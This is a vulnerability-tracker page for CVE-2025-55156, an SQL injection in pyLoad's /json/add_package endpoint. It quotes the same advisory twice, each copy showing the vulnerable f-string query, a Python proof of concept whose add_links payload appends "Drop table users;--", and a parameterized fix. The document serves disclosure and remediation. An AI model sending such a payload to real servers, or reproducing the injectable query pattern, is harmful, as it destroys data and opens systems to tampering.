CVE-2025-55156
highpriority · track · 0EPSS 0.003 · 28 %ileEUUSEPSS · scored 2026-10-27
pyLoad is the free and open-source Download Manager written in pure Python. Prior to version 0.5.0b3.dev91, the parameter add_links in API /json/add_package is vulnerable to SQL Injection. Attackers can modify or delete data in the database, causing data errors or loss. This issue has been patched in version 0.5.0b3.dev91.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 6.8–7.8
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (2)
Products and version ranges known to be affected.
advisories (2)
Vendor and ecosystem advisories describing this.
- GHSA-pwh4-6r3m-j2rfPyLoad vulnerable to SQL Injection via API /json/add_package in add_links parameter2025-08-12ghsa · osvUS
### Summary The parameter `add_links` in the API /json/add_package is vulnerable to SQL Injection. SQL injection vulnerabilities can lead to sensitive data leakage. ### Details - Affected file:https://github.com/pyload/pyload/blob/develop/src/pyload/core/database/file_database.py#L271 - Affected code: ```python @style.queue def update_link_info(self, data): """ data is list of tuples (name, size, status, url) """ self.c.executemany( "UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)", data, ) ids = [] statuses = "','".join(x[3] for x in data) self.c.execute(f"SELECT id FROM links WHERE url IN ('{statuses}')") for r in self.c: ids.append(int(r[0])) return ids ```` statuses is constructed from data, and data is the value of the add_links parameter entered by the user through /json/add_packge. Because `{statuses}` is directly spliced into the SQL statement, it leads to the SQL injection vulnerability. - Vulnerability Chain ```xml josn_blueprint.py#add_package src/pyload/core/api/__init__.py#add_package src/pyload/core/managers/file_manager.py#add_links src/pyload/core/threads/info_thread.py#run src/pyload/core/threads/info_thread.py#update_info src/pyload/core/managers/file_manager.py#update_file_info src/pyload/core/database/file_database.py#update_link_info ``` ### PoC ```python import requests if __name__ == "__main__": url = "http://localhost:8000/json/add_package" data = { "add_name": "My Downloads1", "add_dest": "0", "add_links": "https://www.dailymotion.com/video/x8zzzzz') or 1; Drop table users;--", "add_password": "mypassword" } response = requests.post(url, cookies=your_cookies, data=data) print(response.status_code, response.text) ``` <img width="1599" height="827" alt="image" src="https://github.com/user-attachments/assets/9bdcef37-59b8-4e60-a2b5-beb8a88c3202" /> ### Remediation ```python def update_link_info(self, data): """ data is list of tuples (name, size, status, url) """ self.c.executemany( "UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)", data, ) # 提取所有url urls = [x[3] for x in data] # 构建参数化查询,避免SQL注入 placeholders = ','.join(['?'] * len(urls)) query = f"SELECT id FROM links WHERE url IN ({placeholders}) AND status IN (1,2,3,14)" self.c.execute(query, urls) ids = [int(row[0]) for row in self.c.fetchall()] return ids ``` ### Impact Attackers can modify or delete data in the database, causing data errors or loss.
- PYSEC-2026-1821PyLoad vulnerable to SQL Injection via API /json/add_package in add_links parameter2026-07-07vendor · osvUS
### Summary The parameter `add_links` in the API /json/add_package is vulnerable to SQL Injection. SQL injection vulnerabilities can lead to sensitive data leakage. ### Details - Affected file:https://github.com/pyload/pyload/blob/develop/src/pyload/core/database/file_database.py#L271 - Affected code: ```python @style.queue def update_link_info(self, data): """ data is list of tuples (name, size, status, url) """ self.c.executemany( "UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)", data, ) ids = [] statuses = "','".join(x[3] for x in data) self.c.execute(f"SELECT id FROM links WHERE url IN ('{statuses}')") for r in self.c: ids.append(int(r[0])) return ids ```` statuses is constructed from data, and data is the value of the add_links parameter entered by the user through /json/add_packge. Because `{statuses}` is directly spliced into the SQL statement, it leads to the SQL injection vulnerability. - Vulnerability Chain ```xml josn_blueprint.py#add_package src/pyload/core/api/__init__.py#add_package src/pyload/core/managers/file_manager.py#add_links src/pyload/core/threads/info_thread.py#run src/pyload/core/threads/info_thread.py#update_info src/pyload/core/managers/file_manager.py#update_file_info src/pyload/core/database/file_database.py#update_link_info ``` ### PoC ```python import requests if __name__ == "__main__": url = "http://localhost:8000/json/add_package" data = { "add_name": "My Downloads1", "add_dest": "0", "add_links": "https://www.dailymotion.com/video/x8zzzzz') or 1; Drop table users;--", "add_password": "mypassword" } response = requests.post(url, cookies=your_cookies, data=data) print(response.status_code, response.text) ``` <img width="1599" height="827" alt="image" src="https://github.com/user-attachments/assets/9bdcef37-59b8-4e60-a2b5-beb8a88c3202" /> ### Remediation ```python def update_link_info(self, data): """ data is list of tuples (name, size, status, url) """ self.c.executemany( "UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)", data, ) # 提取所有url urls = [x[3] for x in data] # 构建参数化查询,避免SQL注入 placeholders = ','.join(['?'] * len(urls)) query = f"SELECT id FROM links WHERE url IN ({placeholders}) AND status IN (1,2,3,14)" self.c.execute(query, urls) ids = [int(row[0]) for row in self.c.fetchall()] return ids ``` ### Impact Attackers can modify or delete data in the database, causing data errors or loss.
also known as (6)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (10)
External citations — patches, advisories, analysis.
- https://access.redhat.com/security/cve/cve-2025-55156cnnvd
- https://github.com/pyload/pyload/blob/develop/src/pyload/core/database/file_database.py#L271cnnvd
- https://github.com/pyload/pyload/commit/134edcdf6e2a10c393743c254da3d9d90b74258fcnnvd
- https://github.com/pyload/pyload/security/advisories/GHSA-pwh4-6r3m-j2rfcnnvd
- https://github.com/pyload/pyload/blob/develop/src/pyload/core/database/file_database.py#L271enisa_euvd
- https://github.com/pyload/pyload/commit/134edcdf6e2a10c393743c254da3d9d90b74258fenisa_euvd
- https://github.com/pyload/pyload/security/advisories/GHSA-pwh4-6r3m-j2rfenisa_euvd
- https://github.com/pyload/pyload/blob/develop/src/pyload/core/database/file_database.py#L271nvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan